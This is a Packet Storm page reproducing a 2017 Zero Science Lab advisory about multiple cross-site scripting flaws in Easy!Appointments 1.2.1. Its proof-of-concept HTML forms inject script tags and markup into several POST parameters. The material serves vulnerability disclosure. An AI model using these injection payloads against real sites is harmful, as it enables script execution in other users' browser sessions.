what you don't know can hurt you

Easy!Appointments 1.2.1 Cross Site Scripting

Easy!Appointments 1.2.1 Cross Site Scripting
Posted Dec 28, 2017
Authored by LiquidWorm | Site zeroscience.mk

Easy!Appointments version 1.2.1 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | cc878f4e3c383245a7d2b094db8ec62b

Easy!Appointments 1.2.1 Cross Site Scripting

Change Mirror Download

Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities


Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1

Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.

Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.4.23 (Win32)
OpenSSL/1.0.2h
MariaDB-10.1.19
PHP/5.6.28


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php


20.10.2017

--


PoC:

{"name":"XSS1","description":"Description"}

<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="category" value="{"name":"XSS1","description":"Description"}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

---

<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="service_id" value='"><script>alert(2)</script>' />
<input type="hidden" name="provider_id" value="85" />
<input type="hidden" name="selected_date" value="2017-11-30" />
<input type="hidden" name="service_duration" value="30" />
<input type="hidden" name="manage_mode" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

---

<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="service_id" value="13" />
<input type="hidden" name="provider_id" value="85" />
<input type="hidden" name="selected_date" value="<marquee>" />
<input type="hidden" name="service_duration" value="30" />
<input type="hidden" name="manage_mode" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

---

<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="post_data[customer][last_name]" value="sdadsd" />
<input type="hidden" name="post_data[customer][first_name]" value="asdasd" />
<input type="hidden" name="post_data[customer][email]" value="asdasd@bbb.dd" />
<input type="hidden" name="post_data[customer][phone_number]" value="1112223333" />
<input type="hidden" name="post_data[customer][address]" value="" />
<input type="hidden" name="post_data[customer][city]" value="" />
<input type="hidden" name="post_data[customer][zip_code]" value="" />
<input type="hidden" name="post_data[appointment][start_datetime]" value=""><script>alert(3)</script>" />
<input type="hidden" name="post_data[appointment][end_datetime]" value="2017-11-30 16:00:00" />
<input type="hidden" name="post_data[appointment][notes]" value="" />
<input type="hidden" name="post_data[appointment][is_unavailable]" value="false" />
<input type="hidden" name="post_data[appointment][id_users_provider]" value="85" />
<input type="hidden" name="post_data[appointment][id_services]" value="13" />
<input type="hidden" name="post_data[manage_mode]" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close